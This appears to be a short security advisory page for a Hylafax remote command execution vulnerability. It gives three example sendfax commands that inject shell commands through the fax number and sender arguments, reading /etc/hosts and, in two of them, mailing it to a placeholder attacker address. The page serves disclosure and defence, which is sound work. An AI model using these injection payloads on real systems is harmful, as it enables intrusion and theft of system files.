• info
• discussion
• exploit
• solution
• references

Hylafax Multiple Scripts Remote Command Execution Vulnerability

An exploit is not required.

Example commands to exploit these issues have been provided:

sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts

sendfax -f "\`cat /etc/hosts|mail -s hosts attacker@example.com\` <attacker@example.com>" -d 411 /etc/hosts

sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts